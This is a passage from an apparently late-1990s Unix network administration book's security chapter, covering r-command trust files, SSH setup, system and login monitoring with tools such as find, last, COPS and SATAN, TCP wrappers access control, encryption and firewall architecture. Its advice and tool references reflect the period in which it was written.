Individuals use the .rhosts file to establish equivalence among the different accounts they own. The entry shown above would probably only be made if anthony and resnick are the same person. For example, I have accounts on several different systems. Sometimes my username is hunt, and sometimes it is craig. It would be nice if I had the same account name everywhere, but that is not always possible; the names craig and hunt are used by two other people on my local network. I want to be able to rlogin to my workstation from any host that I have an account on, but I don't want mistaken logins from the other craig and the other hunt. The .rhosts file gives me a way to control this problem.

For example, assume my username on almond is craig, but my username on filbert is hunt. Another user on filbert is craig. To allow myself password-free access to my almond account from filbert, and to make sure that the other user doesn't have password-free access, I put the following .rhosts file in my home directory:

filbert hunt
filbert -craig

Normally the hosts.equiv file is searched first, followed by the user's .rhosts file, if it exists. The first explicit match determines whether or not password-free access is allowed. Therefore, the .rhosts file cannot override the hosts.equiv file. The exception to this is root user access. When a root user attempts to access a system via the r commands, the hosts.equiv file is not checked, only .rhosts in the root user's home directory is consulted. This allows root access to be more tightly controlled. If the hosts.equiv file was used for root access, entries that grant trusted access to hosts would give root users on those hosts root privileges. You can add trusted hosts to hosts.equiv without granting remote root users root access to your system.

If security is particularly important at your site, you should remember that the user can provide access with the .rhosts file even when the hosts.equiv file doesn't exist. The only way to prevent users from doing this is to periodically check for and remove the .rhosts files. As long as you have the r commands on your system, it is possible for a user to accidentally compromise the security of your system.

12.2.6 Secure Shell

The r commands, also called the remote shell, pose a security threat. You cannot use these commands to provide secure remote access, even if you use all the techniques given in the previous section. At best, only trusted local systems can be given access via the r commands. The reason for this is that the r commands grant trust based on a belief that the IP address uniquely identifies the correct computer. Normally it does. But an intruder can corrupt DNS to provide the wrong IP address or corrupt routing to deliver to the wrong network and thus undermine the authentication scheme used by the r commands.

An alternative to the remote shell is the secure shell (SSH). SSH replaces the standard r commands with secure commands that include encryption and authentication. SSH uses a strong authentication scheme to ensure that the trusted host really is the host it claims to be. SSH provides a number of public key encryption schemes to ensure that every packet in the stream of packets is from the source it claims to be from. SSH is secure and easy to use.

The secure shell is available via the Internet at http://www.cs.hut.fi/ssh. The Web site also provides information about the secure shell. Download and compile SSH. Use the configure command that comes with the SSH source code to detect the configuration of your system and build the correct Makefile. Then make and install the components of SSH. The key components are:

sshd

The Secure Shell daemon handles incoming SSH connections. sshd should be started at boot time from one of the boot scripts. Don't start sshd from inetd.conf. sshd generates an encryption key every time it starts. This can cause it to be slow to start, which makes it unsuitable for inetd.conf. A system serving SSH connections must run sshd.

ssh

The Secure Shell user command. ssh command replaces rsh and rlogin. It is used to securely pass a command to a remote system or to securely log in to a remote system. This command creates the outgoing connections that are handled by the remote Secure Shell daemon. A client system that wants to use a SSH connection must have the ssh command.

scp

Secure copy (scp) is the Secure Shell version of rcp.

ssh-keygen

Generates the public and private encryption keys used to secure the transmission for the Secure Shell.

When an ssh client connects to a sshd server, they exchange public keys. The systems compare the keys they receive to the known keys that they have stored in the /etc/ssh_known_hosts file and in the .ssh/known_hosts file in the user's host directory. [5] If the key is not found or has changed, the user is asked to verify that the new key should be accepted:

[5] The system administrator can initialize the ssh_known_hosts file by running make-ssh-known-hosts, which gets the key from every host within a selected domain.

> ssh pecan
Host key not found from the list of known hosts.
Are you sure you want to continue connecting (yes/no)? yes
Host 'pecan' added to the list of known hosts.
craig's password: Watts.Watt.
Last login: Thu Sep 25 15:01:32 1997 from peanut
Linux 2.0.0.
/usr/X11/bin/xauth:  creating new authority file /home/craig/.Xauthority

If the key is found in one of the files or is accepted by the user, the client uses it to encrypt a randomly generated session key. The session key is then sent to the server and both systems use the key to encrypt the remainder of the SSH session.

The client is authenticated if it is listed in the hosts.equiv file, the shost.equiv file, the user's .rhosts file, or the .shosts file. This type of authentication is similar to the type used by the r commands and the format of the shost.equiv and the .shosts files is the same as their r command equivalents. Notice that in the sample above the user is prompted for a password. If the client is not listed in one of the files, password authentication is used. There is no need to worry about password thieves, because SSH encrypts the password before it is sent across the link.

Users can employ a public key challenge/response protocol for authentication. First generate your public and private encryption keys:

> ssh-keygen
Initializing random number generator...
Generating p:  ......................................++ (distance 616)
Generating q:  ....................++ (distance 244)
Computing the keys...
Testing the keys...
Key generation complete.
Enter file in which to save the key (/home/craig/.ssh/identity):
Enter passphrase: Pdky&tiaj.
Enter the same passphrase again: Pdky&tiaj.
Your identification has been saved in /home/craig/.ssh/identity.
Your public key is:
1024 35 158564823484025855320901702005057103023948197170850159592181522
craig@pecan
Your public key has been saved in /home/craig/.ssh/identity.pub

The ssh-keygen command creates your keys. Enter a password, called a "passphrase" here, that is at least 10 characters long. Use the rules described above to pick a good passphrase that is easy to remember. If you forget the passphrase, no one will be able to recover it for you.

Once you have created your keys on the client system, copy the public key to your account on the server. The public key is stored in your home directory on the client in .ssh/identity.pub. Copy it to .ssh/authorized_keys in your home directory on the server. Now when you log in using ssh, you are prompted for the passphrase:

> ssh pecan
Enter passphrase for RSA key 'craig@pecan': Pdky&tiaj.
Last login: Thu Sep 25 17:11:51 1997
Linux 2.0.0.

To improve system security, the r commands should be disabled after SSH is installed. Comment rshd, rlogind, rexcd, and rexd out of the inetd.conf file to disable inbound connections to the r commands. To ensure that SSH is used for outbound connections, replace rlogin and rsh with ssh. To do this, store copies of the original rlogin and rsh in a safe place, re-run configure with the special options shown below, and run make install:

# whereis rlogin
/usr/bin/rlogin
# whereis rsh
/usr/bin/rsh
# cp /usr/bin/rlogin /usr/lib/rlogin
# cp /usr/bin/rsh /usr/lib/rsh
# ./configure --with-rsh=/usr/bin --program-transform-name='s/s/r/'
# make install

The example assumes that the path to the original rlogin and rsh commands is /usr/bin. Use whatever is correct for your system.

After replacing the rlogin and rsh, you can still log in to systems that don't support SSH. You will, however, be warned that it is not a secure connection:

> rlogin cow
Secure connection to cow refused; reverting to insecure method.
Using rsh.  WARNING: Connection will not be encrypted.
Last login: Wed Sep 24 22:15:28 from peanut
Sun Microsystems Inc.   SunOS 5.5.1     Generic May 1996
You have new mail.

SSH is an excellent way to have secure communications between systems across the Internet. However, it does require that both systems have SSH installed. When you control both ends of the link, this is not a problem. But there are times when you must log in from a system that is not under your control. For those occasions, one-time passwords, as provided by OPIE, are still essential.

Previous: 12.1 Security Planning | TCP/IP Network Administration | Next: 12.3 Application Security
12.1 Security Planning | Book Index | 12.3 Application Security


[Chapter 12] 12.3 Application Security

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 12.2 User Authentication Chapter 12
Network Security 		Next: 12.4 Security Monitoring

12.3 Application Security

Having good user authentication is an important security measure. However, using good user authentication isn't the only thing that you can do to improve the security of your computer and your network. Many break-ins occur when bugs in applications are exploited or when applications are misconfigured. In this section we'll look at some things you can do to improve application security.

12.3.1 Remove Unnecessary Software

Any software that allows an incoming connection from a remote site has the potential of being exploited by an intruder. Some security experts recommend you remove every daemon from the /etc/inetd.conf file that you don't absolutely need. (Configuring the inetd.conf files is discussed in Chapter 6, Configuring the Interface , with explicit examples of removing tftp from service.)

Server systems may require several daemons, but most desktop systems require very few, if any. Removing the daemons from inetd.conf only prevents in-bound connections. It does not prevent out-bound connections. A user can still initiate a telnet to a remote site even after the telnet daemon is removed from her system's inetd.conf. A simple approach used by some people is to start by removing everything from inetd.conf and then add back to the file only those daemons that you decide you really need.

12.3.2 Keep Software Updated

Vendors frequently release new versions of network software for the express purpose of improving network security. Use the latest version of the network software offered by your vendor. Track the security alerts, CERT advisories, and bulletins to know what programs are particularly important to keep updated.

Even programs that are installed to improve security can have bugs that compromise security. The shadow password software for Linux is an example. You must use shadow-960129.tar or later, or risk compromising your system. If you fail to keep the software on your system up-to-date you open a big security hole for intruders. Intruders don't discover new problems; they exploit well-known problems. Keep track of the known security problems so you can keep your system up-to-date.

Stay informed about the latest information about all fixes for your system. The computer security advisories are a good way to do this. Contact your vendor and find out what services they provide for distributing security fixes. Make sure that the vendor knows that security is important to you.

Previous: 12.2 User Authentication | TCP/IP Network Administration | Next: 12.4 Security Monitoring
12.2 User Authentication | Book Index | 12.4 Security Monitoring


[Chapter 12] 12.4 Security Monitoring

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 12.3 Application Security Chapter 12
Network Security 		Next: 12.5 Access Control

12.4 Security Monitoring

A key element of effective network security is security monitoring. Good security is an ongoing process, and following the security guidelines discussed above is just the beginning. You must also monitor the systems to detect unauthorized user activity, and to locate and close security holes. Over time a system will change - active accounts become inactive; file permissions are changed. You need to detect and fix these problems as they arise.

12.4.1 Know Your System

Network security is monitored by examining the files and logs of individual systems on the network. To detect unusual activity on a system, you must know what activity is normal. What processes are normally running? Who is usually logged in? Who commonly logs in after hours? You need to know this, and more, about your system in order to develop a "feel" for how things should be. Some common UNIX commands - ps and who - can help you learn what normal activity is for your system.

The ps command displays the status of currently running processes. Run ps regularly to gain a clear picture of what processes run on the system at different times of the day, and who runs them. The Linux ps -au command and the ps -ef Solaris command display the user and the command that initiated each process. This should be sufficient information to learn who runs what, and when they run it. If you notice something unusual, investigate it. Make sure you understand how your system is being used.

The who command provides information about who is currently logged into your system. It displays who is logged in, what device they are using, when they logged in and, if applicable, what remote host they logged in from. (The w command, a variation of who available on some systems, also displays the currently active process started by each user.) The who command helps you learn who is usually logged in, as well as what remote hosts they normally log in from. Investigate any variations from the norm.

If any of these routine checks gives you reason to suspect a security problem, examine the system for unusual or modified files, for files that you know should be there but aren't, and for unusual login activity. This close examination of the system can also be made using everyday UNIX commands. Not every command or file we discuss will be available on every system. But every system will have some tools that help you keep a close eye on how your system is being used.

12.4.2 Looking for Trouble

Intruders often leave behind files or shell scripts to help them re-enter the system or gain root access. Use the ls -a | grep '^\.' command to check for files with names that begin with a dot (.). Intruders particularly favor names such as .mail, .xx, ... (dot, dot, dot), .. (dot, dot, space), or ..^G (dot, dot, control-G).

If any files with names like these are found, suspect a break-in. (Remember that one directory named . and one directory named .. are in every directory except the root directory.) Examine the contents of any suspicious files and follow your normal incident-reporting procedures.

You should also examine certain key files if you suspect a security problem:

/etc/inetd.conf

Check the names of the programs started from the /etc/inetd.conf file. In particular, make sure that it does not start any shell programs (e.g., /bin/csh). Also check the programs that are started by inetd to make sure the programs have not been modified. /etc/inetd.conf should not be world-writable.

r command security files

Check /etc/hosts.equiv, /etc/hosts.lpd, and the .rhosts file in each user's home directory to make sure they have not been improperly modified. In particular, look for any plus-sign (+) entries, and any entries for hosts outside of your local trusted network. These files should not be world-writable.

/etc/passwd

Make sure that the /etc/passwd file has not been modified. Look for new usernames, and changes to the UID or GID of any account. /etc/passwd should not be world-writable.

Files run by cron or at

Check all of the files run by cron or at, looking for new files or unexplained changes. Sometimes intruders use procedures run by cron or at to re-admit themselves to the system, even after they have been kicked off.

Executable files

Check all executable files, binaries, and shell files to make sure they have not been modified by the intruder. The master checklist, mentioned in the previous section, is helpful for this. Executable files should not be world-writable.

If you find or even suspect a problem, follow your reporting procedure and let people know about the problem. This is particularly important if you are connected to a local area network. A problem on your system could spread to other systems on the network.

12.4.2.1 Checking files

The find command is a powerful tool for detecting potential filesystem security problems because it can search the entire filesystem for files based on file permissions. Intruders often leave behind setuid programs to grant themselves root access. The following command searches for these files, recursively, starting from the root directory:

# find / -user root -perm -4000 -print

This find command starts searching at the root (/) for files owned by the user root (-user root) that have the setuid permission bit set (-perm -4000). All matches found are displayed at the terminal (-print). If any filenames are displayed by find, closely examine the individual files to make sure that these permissions are correct. As a general rule, shell scripts should not have setuid permission.

You can use the find command to check for other problems that might open security holes for intruders. The other common problems that find checks for are world-writable files (-perm -2), setgid files (-perm -2000), and unowned files (-nouser -o -nogroup). World-writable and setgid files should be checked to make sure that these permissions are appropriate. As a general rule, files with names beginning with a dot (.) should not be world-writable, and setgid permission, like setuid, should be avoided for shell scripts.

The process of scanning the filesystem can be automated with the Tripwire program. Tripwire is available from Purdue University at ftp://coast.cs.purdue.edu/pub/tools/unix/Tripwire. This package not only scans the filesystem for problems, it computes digital signatures to ensure that if any files are changed, the changes will be detected.

12.4.2.2 Checking login activity

Strange login activity, at odd times of the day or from unfamiliar locations, can indicate attempts by intruders to gain access to your system. We have already used the who command to check who is currently logged into the system. To check who has logged into the system in the past, use the last command.

The last command displays the contents of the wtmp file. [6] It is useful for learning normal login patterns and detecting abnormal login activity. The wtmp file keeps a historical record of who logged into the system, when they logged in, what remote site they logged in from, and when they logged out.

[6] This file is frequently stored in /usr/adm or /etc.

Figure 12.2 shows a single line of last command output. The figure highlights the fields that show the user who logged in, the device, the remote location from which the login originated (if applicable), the day, the date, the time logged in, the time logged out (if applicable), and the elapsed time.

Figure 12.2: Last command output

Simply typing last produces a large amount of output because every login stored in wtmp is displayed. To limit the output, specify a username or tty device on the command line. This limits the display to entries for the specified username or terminal. It is also useful to use grep to search last's output for certain conditions. For example, the command below checks for logins that occur on Saturday or Sunday:

% last | grep 'S[au]' | more
craig     console                   Sun Dec 15 10:33   still logged in
reboot    ~                         Sat Dec 14 18:12
shutdown  ~                         Sat Dec 14 18:14
craig     ttyp3    modems.nuts.com  Sat Dec 14 17:11 - 17:43  (00:32)
craig     ttyp2    172.16.12.24     Sun Dec  8 21:47 - 21:52  (00:05)
    .
    .
--More--

The next example searches for root logins not originating from the console. If you didn't know who made the two logins reported in this example, be suspicious:

% last root | grep -v console
root      ttyp3    peanut.nuts.com   Tue Oct 29 13:12 - down   (00:03)
root      ftp      almond.nuts.com   Tue Sep 10 16:37 - 16:38  (00:00)

While the last command is a major source of information about previous login activity, it is not the only source. On some systems, the messages file records logins to the root account and failed logins. [7] Failed logins and root logins at odd times or from odd places are suspicious. The following grep command checks /usr/adm/messages for root login activity on a Linux system:

[7] Some systems, such as Solaris, don't log su activity and root logins in the messages file.

% grep -i login /usr/adm/messages
Nov 23 10:39:10 peanut login: ROOT LOGIN ON tty1
Nov 23 11:11:50 peanut login: 2 LOGIN FAILURES ON tty1, craig
Nov 23 11:25:11 peanut login: 2 LOGIN FAILURES ON tty1, root
Nov 23 11:25:16 peanut login: ROOT LOGIN ON tty1
Nov 23 11:28:15 peanut login: ROOT LOGIN ON tty1
Nov 24 22:31:40 peanut login: 2 LOGIN FAILURES ON tty1, craig
Nov 27 19:47:52 peanut login: 2 LOGIN FAILURES ON tty1, craig
Nov 29 11:10:36 peanut login: 2 LOGIN FAILURES ON tty1, craig
Dec  1 19:41:50 peanut login: 2 LOGIN FAILURES ON tty1, craig
Dec  9 22:05:27 peanut login: ROOT LOGIN ON tty1

Report any security problems that you detect, or even suspect. Don't be embarrassed to report a problem because it might turn out to be a false alarm. Don't keep quiet because you might get "blamed" for the security breach. Your silence will only help the intruder.

12.4.3 Automated Monitoring

Manually monitoring your system is time-consuming and prone to errors and omissions. Fortunately, several automated monitoring tools are available. The Web site http://ciac.llnl.gov/ciac/ToolsUnixSysMon.html lists many of them. Tripwire (mentioned earlier), Tiger, COPS, and SATAN are all popular monitoring tools. COPS and SATAN are described below.

12.4.3.1 COPS

COPS (Computer Oracle Password and Security) is a collection of programs that automate many of the computer monitoring procedures discussed in the previous sections. As with any monitoring system, COPS detects potential problems; it does not correct them. COPS does not replace personal monitoring by the system administrator, but it does provide additional tools to help the administrator perform monitoring tasks.

The tools in the COPS package check:

  • Permissions for files, directories, and devices

  • Contents of /etc/passwd and /etc/group files

  • Contents of /etc/hosts.equiv and ~/.rhosts files

  • Changes in SUID status

After completing these checks, COPS mails a report of the results to the system administrator.

COPS can be obtained at ftp://coast.cs.purdue.edu/pub/tools/unix. The tar file contains the source code and instructions for building COPS. Once COPS is built, edit the COPS shell file so that the variable SECURE points to the directory that contains the COPS programs, and the variable SECURE_USERS contains the email address of the person who should receive the COPS report. By default, the report is not mailed to anyone; it is written to a file. To force the report to be mailed to the SECURE_USERS, edit the COPS shell script by changing the MMAIL variable to MMAIL=YES.

The great advantage of COPS is that it is simple. COPS removes the hassles from security monitoring, making it more likely that these tasks will be performed. To run COPS, simply enter:

% cops

cops uses the system's hostname to create a directory within the directory defined by the SECURE variable. It writes the security report in this new directory in a file named after the current date. The format of the report's filename is year_month_day. For example, on peanut the home directory for the COPS programs is /usr/local/cops. If the current date is January 24, 1997, running the cops program creates the directory /usr/local/cops/peanut and writes the report into that directory with the file name 1997_Jan_24. Here's a sample report:

peanut:/usr/local/cops/peanut> cat 1997_Jan_24
ATTENTION:
Security Report for Fri Jan 24 16:21:21 EST 1997
from host peanut

**** root.chk ****
**** dev.chk ****
Warning! NFS file system /home/craig exported with no restrictions!
**** is_able.chk ****
Warning! /usr/spool/uucp is _World_ writable!
Warning! /etc/securetty is _World_ readable!
**** rc.chk ****
**** cron.chk ****
**** group.chk ****
**** home.chk ****
Warning! User uucp's home directory /var/spool/uucppublic is mode 01777!
Warning! User nobody's home directory /dev/null is not a directory!
         (mode 020666)
Warning! User guest's home directory /dev/null is not a directory!
         (mode 020666)
**** passwd.chk ****
Warning! Password file, line 15, uid > 8 chars
         postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
**** user.chk ****
**** misc.chk ****
**** ftp.chk ****
ftp-Warning! Incorrect permissions on "ls" in /home/ftp/bin!
ftp-Warning! Incorrect permissions on "passwd" in /home/ftp/etc!
ftp-Warning! Incorrect permissions on "group" in /home/ftp/etc!
**** pass.chk ****
**** kuang ****
**** bug.chk****

Look at each line in the report you receive. Some lines might indicate real problems, such as the first warning line in our sample report that indicates /home/craig is exported via NFS without proper access control. Other lines might indicate conditions that are not problems for your system. In our example, we decide to leave /etc/securetty with world-read permission. Read the file docs/warnings for an explanation of each warning message. Evaluate each line of the report and correct anything that needs correcting. Rerun COPS and examine the new report. It should report only the problems that you are willing to accept.

Once you're satisfied with your system's security, schedule COPS to run at regular intervals. New problems can be introduced into your system over time. It's better to have the COPS discover the problem than to have the "robbers" discover it!

12.4.3.2 SATAN

Another tool for testing the security of your system is the Security Administrator's Tool for Analyzing Networks (SATAN). SATAN's introduction was met by near hysteria in the popular press, largely because of the tool's name. Despite its name, SATAN is just another security tool.

SATAN does have some unique features. While COPS is intended for use on an individual system, SATAN is designed to test entire networks of systems. This is both a feature and a problem. If you are the administrator of your network, running SATAN allows you to check all of the systems on the network from one central system. If, however, you are responsible for only one system and you use SATAN to probe the other systems on your network, you will irritate all of the other system administrators on the network who will view the SATAN probes as attempted break-ins. Use SATAN only to test systems on your own network that you have officially recognized authority over.

Another feature of SATAN is that it uses your system's Web browser as the interface for viewing the security reports it generates. This is helpful if you have a large network of systems. The browser's ability to link together related documents allows SATAN to organize various hierarchies of security information. Use the browser to search for the most critical errors, the most troublesome subnets, or the most vulnerable hosts. The screenshot in Figure 12.3 shows a display of hosts listed in sequence from the one with the most security errors to the one with the least. Clicking on a hostname provides a specific report of the errors on that host.

Figure 12.3: SATAN interface

The information in Figure 12.3 comes from the foo.org database provided in the SATAN documentation set. Download the binary file satan.doc.tar.Z from ftp://ftp.win.tue.nl/pub/security/unix. Uncompress and untar the file and follow the simple instructions in the README file to build the documentation system. You can then play with SATAN without the danger of accidentally probing any of the systems on your network. If you like what you see, you can download the full product from the same location by getting the binary file satan.tar.Z.

For many sites, well-informed users and administrators, good password security, and good system monitoring provide adequate network security. But for some security-conscious sites, more may be desired. That "more" is usually some technique for limiting access between systems connected to the network, or for limiting access to the data the network carries. In the remainder of this chapter we look at various security techniques that limit access.

Previous: 12.3 Application Security | TCP/IP Network Administration | Next: 12.5 Access Control
12.3 Application Security | Book Index | 12.5 Access Control


[Chapter 12] 12.5 Access Control

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 12.4 Security Monitoring Chapter 12
Network Security 		Next: 12.6 Encryption

12.5 Access Control

Access control is a technique for limiting access. Routers and hosts that use access control check the address of a host requesting a service against an access control list. If the list says that the remote host is permitted to use the requested service, the access is granted. If the list says that the remote host is not permitted to access the service, the access is denied. Access control does not bypass any normal security checks. It adds a check to validate the source of a service request, and retains all of the normal checks to validate the user.

Access control systems are common in terminal servers and routers. For example, Cisco routers have an access control facility. Access control software is also available for UNIX hosts. Two such packages are xinetd and the TCP wrappers program. Clearly, there are a variety of ways to implement access controls. In this section we use TCP wrappers ("wrapper").

12.5.1 wrapper

The wrapper package performs two basic functions: it logs requests for Internet services, and provides an access control mechanism for UNIX systems. Logging requests for specific network services is a useful monitoring function, especially if you are looking for possible intruders. If this were all it did, wrapper would be a useful package. But the real power of wrapper is its ability to control access to network services.

The wrapper software is available through the http://csrc.nist.gov/tools/tools.htm Web page. The wrapper tar file contains the C source code and Makefile necessary to build the wrapper daemon tcpd.

Make tcpd and then install it in the same directory as the other network daemons. Edit /etc/inetd.conf and replace the path to each network service daemon that you wish to place under access control with the path to tcpd. The only field in the /etc/inetd.conf entry affected by tcpd is the sixth field, which contains the path to the network daemon.

For example, assume that the entry for the finger daemon in /etc/inetd.conf on our Solaris system is:

finger  stream  tcp  nowait  nobody  /usr/etc/in.fingerd  in.fingerd

The value in the sixth field is /usr/etc/in.fingerd. To monitor access to the finger daemon, replace this value with /usr/etc/tcpd, as in the following entry:

finger   stream  tcp  nowait  nobody  /usr/etc/tcpd   in.fingerd

Now when inetd receives a request for fingerd, it starts tcpd instead. tcpd then logs the fingerd request, checks the access control information, and, if permitted, starts the real finger daemon to handle the request.

Make a similar change for every service you want to place under access control. Good candidates for access control are ftpd, tftpd, telnetd, rshd, rlogind, rexecd, and fingerd. Obviously, tcpd cannot control access for daemons that are not started by inetd, such as sendmail and NFS.

Using the wrapper on our Slackware 96 Linux system is even easier. There is no need to download and install the tcpd software. It comes as an integral part of the Linux release. You don't even have to edit the /etc/inetd.conf file because the sixth field of the entries in that file already point to the tcpd program, as shown below:

finger   stream  tcp  nowait  nobody  /usr/sbin/tcpd   in.fingerd -w

12.5.1.1 tcpd access control files

The information tcpd uses to control access is in two files, /etc/hosts.allow and /etc/hosts.deny. Each file's function is obvious from its name. hosts.allow contains the list of hosts that are allowed to access the network's services, and hosts.deny contains the list of hosts that are denied access. If the files are not found, tcpd permits every host to have access and simply logs the access request. Therefore, if you only want to monitor access, don't create these two files.

If the files are found, tcpd checks the hosts.allow file first, followed by the hosts.deny file. It stops as soon as it finds a match for the host and the service in question. Therefore, access granted by hosts.allow cannot be overridden by hosts.deny.

The format of entries in both files is the same:

service-list : host-list [: shell-command]

The service-list is a list of network services, separated by commas. These are the services to which access is being granted (hosts.allow) or denied (hosts.deny). Each service is identified by the process name used in the seventh field of the /etc/inetd.conf entry. This is simply the name that immediately follows the path to tcpd in inetd.conf. (See Chapter 5, Basic Configuration , for a description of the arguments field in the /etc/inetd.conf entry.)

Again, let's use finger as an example. We changed its inetd.conf entry to read:

finger   stream  tcp  nowait  nobody  /usr/etc/tcpd   in.fingerd

Therefore, we would use in.fingerd as the service name in a hosts.allow or hosts.deny file.

The host-list is a comma-separated list of hostnames, domain names, Internet addresses, or network numbers. The systems listed in the host-list are granted access (hosts.allow) or denied access (hosts.deny) to the services specified in the service-list. A hostname or an Internet address matches an individual host. For example, peanut is a hostname and 172.16.12.2 is an Internet address. Both match a particular host. A domain name matches every host within that domain; e.g., .nuts.com matches almond.nuts.com, peanut.nuts.com, pecan.nuts.com, and any other hosts in the domain. When specified in a tcpd access control list, domain names always start with a dot (.). A network number matches every IP address within that network's address space. For example, 172.16. matches 172.16.12.1, 172.16.12.2, 172.16.5.1, and any other address that begins with 172.16. Network addresses in a tcpd access control list always end with a dot (.).

A completed hosts.allow entry that grants FTP and telnet access to all hosts in the nuts.com domain is shown below:

ftpd,telnetd : .nuts.com

Two special keywords can be used in hosts.allow and hosts.deny entries. The keyword ALL can be used in the service-list to match all network services, and in the host-list to match all hostnames and addresses. The second keyword, LOCAL, can be used only in the host-list. It matches all local hostnames. tcpd considers a hostname "local" if it contains no embedded dots. Therefore, the hostname peanut would match on LOCAL, but the hostname peanut.nuts.com would not match. The following entry affects all services and all local hosts:

ALL : LOCAL

The final field that can be used in these entries is the optional shell-command field. The shell command specified in this field will execute whenever a match occurs. The command is executed in addition to the normal functions of the access list match. In other words, if a match occurs for an entry that has an optional shell command, tcpd logs the access, grants or denies access to the service, and then passes the shell command to the shell for execution.

A more complete example of how tcpd is used will help you understand these entries. First, assume that you wish to allow every host in your local domain (nuts.com) to have access to all services on your system, but you want to deny access to every service to all other hosts. Make an entry in /etc/hosts.allow to permit access to everything by everyone in the local domain:

ALL : LOCAL, .nuts.com

The keyword ALL in the services-list indicates that this rule applies to all network services. The colon (:) separates the services-list from the host-list. The keyword LOCAL indicates that all local hostnames without a domain extension are acceptable, and that the .nuts.com string indicates that all hostnames that have the nuts.com domain name extensions are also acceptable. To prevent access from everyone else, make an entry in the /etc/hosts.deny file:

ALL : ALL

Every system that does not match the entry in /etc/hosts.allow is passed on to /etc/hosts.deny. Here the entry denies access to everyone, regardless of what service they are asking for. Remember, even with ALL in the services-list field, only services started by inetd, and only those services whose entries in inetd.conf have been edited to invoke tcpd, are affected. This does not provide security for any other service.

Previous: 12.4 Security Monitoring | TCP/IP Network Administration | Next: 12.6 Encryption
12.4 Security Monitoring | Book Index | 12.6 Encryption


[Chapter 12] 12.6 Encryption

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 12.5 Access Control Chapter 12
Network Security 		Next: 12.7 Firewalls

12.6 Encryption

Encryption is a technique for limiting access to the data carried on the network. Encryption encodes the data in a form that can be read only by systems that have the "key" to the encoding scheme. The original text, called the "clear text," is encrypted using an encryption device (hardware or software) and an encryption key. This produces encoded text, which is called the cipher. To recreate the "clear text," the cipher must be decrypted using the same type of encryption device and an appropriate key.

Largely because of spy novels and World War II movies, encryption is one of the first things that people think of when they think of security. However, encryption is not always applicable to network security. Encrypting data for transmission across a network requires that the same encryption equipment, or software, be used at both ends of the data exchange. Unless you control both ends of the network and can ensure that the same encryption device is available, it is difficult to use end-to-end data encryption. For this reason, encryption is most commonly used to exchange data in individual applications where the software at both ends of the network is defined by a single vendor. For example, a Web server and a Web browser from the same vendor use the same encryption. Encrypting all types of data is limited to places where the entire system is under the control of a single authority, such as military networks, private networks, individual systems, or when the individuals at both ends of the communication can reach personal agreement on the encryption technique and key.

What is needed to make encryption truly useful in a global network are universally recognized encryption standards and a trusted infrastructure to support those standards. Public-key encryption is the technology that will make encryption an important security technology for an open global network like the Internet. Public-key systems encode the clear-text with a key that is widely known and publicly available, but the cipher can only be decoded back to clear-text with a secret key. This means that Dan can look up Kristin's public key in a trusted database and use it to encode a message to her that no one else can read. Even though everyone on the Internet has access to the public key, only Kristin can decrypt the message using her secret key. Kristin can then look up Dan's public key to encrypt her reply. This encrypted communication takes place without Dan or Kristin ever divulging their secret keys. However, to ensure that the keys have not been tampered with, public-key cryptography requires a trusted system for distributing public keys. And because the encrypting key is available to everyone, it requires a digital signature system to authenticate that a message is really from whom it purports to be from.

Government and industry are working on the standards and infrastructure for public-key cryptography. The type of encryption used in the examples in this section is symmetric encryption. It requires that the same encryption technique and the same secret key is used for both encrypting and decrypting the message. It does not rely on public keys, digital signatures, or a widely accepted infrastructure, but its usefulness is limited. Truly effective public-key cryptography must wait for the creation of a trusted public-key infrastructure.

12.6.1 When is symmetric encryption useful?

Before using encryption, decide why you want to encrypt the data, whether the data should be protected with encryption, and whether the data should even be stored on a networked computer system.

A few valid reasons for encrypting data are:

  • To prevent casual browsers from viewing sensitive data files

  • To prevent accidental disclosure of sensitive data

  • To prevent privileged users (e.g., system administrators) from viewing private data files

  • To complicate matters for intruders who attempt to search through a system's files

Encryption is not a substitute for good computer security. Encryption can protect sensitive or personal information from casual snooping, but it should never be the sole means of protecting critical information. Encryption systems can be broken, and encrypted data can be deleted or corrupted just like any other data. So don't let encryption lull you into a false sense of security. Some information is so sensitive or critical that it should not be stored on a networked computer system, even if it is encrypted. Encryption is only a small part of a complete security system. To find out more about file encryption, see PGP: Pretty Good Privacy, by Simson Garfinkel (O'Reilly & Associates). It provides a book-length treatment of PGP, an encryption program used for files and electronic mail.

Previous: 12.5 Access Control | TCP/IP Network Administration | Next: 12.7 Firewalls
12.5 Access Control | Book Index | 12.7 Firewalls


[Chapter 12] 12.7 Firewalls

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 12.6 Encryption Chapter 12
Network Security 		Next: 12.8 Words to the Wise

12.7 Firewalls

A firewall system is a popular way to provide network security. The term "firewall" implies protection from danger, and just as the firewall in your car protects the passengers' compartment from the car's engine, a firewall computer system protects your network from the outside world. A firewall computer provides strict access control between your systems and the outside world.

The concept of a firewall is quite simple. A firewall is a choke point through which all traffic between a secured network and an unsecured network must pass. In practice, it is usually a choke point between an enterprise network and the Internet. Creating a single point through which all traffic must pass allows the traffic to be more easily monitored and controlled and allows security expertise to be concentrated on that single point.

Firewalls are implemented in many ways. In fact, there are so many different types of firewalls, the term is almost meaningless. When someone tells you they have a firewall you really can't know exactly what they mean. Covering all of the different types of firewall architectures requires an entire book - see Building Internet Firewalls (O'Reilly & Associates). Here we cover the screened subnet architecture (probably the most popular firewall architecture), and the multi-homed host architecture, which is essentially a firewall-in-a-box.

The most common firewall architecture contains at least four hardware components: an exterior router, a secure server (called a Bastion Host), an exposed network (called a Perimeter Network), and an interior router. Each hardware component provides part of the complete security scheme. Figure 12.4 illustrates this architecture.

Figure 12.4: Screened subnet firewall

The exterior router is the only connection between the enterprise network and the outside world. This router is configured to do a minimal level of access control. It checks to make sure that no packet coming from the external world has a source address that matches the internal network. If our network number is 172.16, the exterior router discards any packets it receives on its exterior interface that contain the source address 172.16. That source address should only be received by the router on its interior interface. Security people call this type of access control packet filtering. In some ways it is similar to the packet filtering we did in Chapter 11, Troubleshooting TCP/IP because packets are "filtered out" based on IP header information.

